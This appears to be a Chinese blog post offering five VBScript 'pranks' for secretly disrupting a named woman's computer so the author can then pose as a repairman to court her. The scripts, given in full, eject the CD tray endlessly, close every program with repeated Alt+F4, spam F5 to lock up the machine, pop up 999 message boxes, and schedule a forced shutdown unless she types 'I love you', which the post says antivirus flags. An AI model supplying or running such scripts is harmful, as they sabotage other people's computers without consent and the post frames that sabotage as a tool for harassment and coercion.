好玩的vbs代码游戏_分享几个好玩的.vbs奇技淫巧

分享几个好玩的.vbs奇技淫巧

一个合格的死肥宅如何才能俘获翠花的芳心呢？搭讪又不会，约吃饭又扣扣搜搜舍不得花钱。只能靠几个不要脸的vbs“搞坏”她的电脑，然后变身电脑维修大师，假借修电脑之名，一步步走进她的心。

第一个，无线弹出光驱，让翠花的电脑跟打了鸡血一样七进七出、不眠不休。将以下代码写入文本文档，修改后缀为vbs即可。

set wmp=createobject("wmplayer.ocx") 
set cd=wmp.cdromcollection.item(0) 
do 
cd.eject 
loop 

第二个，关闭翠花的所有程序，打开一个关闭一个，就是这么无情。雷霆噶吧，无情哈拉少。代码如下：

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
do
wscript.sleep 2500 
WSHshell.SendKeys "%{F4}" 
loop 

第三个，让翠花的电脑就像着了魔似的刷新，无法进行任何操作。代码如下：

set ws=createobject("wscript.shell") 
do 
ws.sendkeys "{f5}" 
loop 

第四个，翠花因为最近伙食太好隐约有些过分肥美，那么如何简单高效的帮助翠花燃烧她的卡路里呢？你需要如下代码：

dim s
do until s=999
s=s+1
msgbox"翠花，按999次回车减减肥吧",64
loop

第五个，和翠花的交流已经很深入了，是时候使用下面的代码了，强人所爱，代码如下（360会报毒的哟）：

on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""快说你爱我，不然关机···"" ",0 ,true 
dim a 
do while(a <> "我爱你") 
a = inputbox ("快说你爱我，不然关机 ""我爱你""　","不然带你去六神山","",8000,7000) 
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
loop 
msgbox chr(13) + chr(13) + chr(13) + "哎，翠花真可爱" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哎，翠花真可爱" 

我是尤尼可可，觉得有用请收藏哟

买空间上阿里云·限时·秒杀

买空间上腾讯云·爆品·秒杀​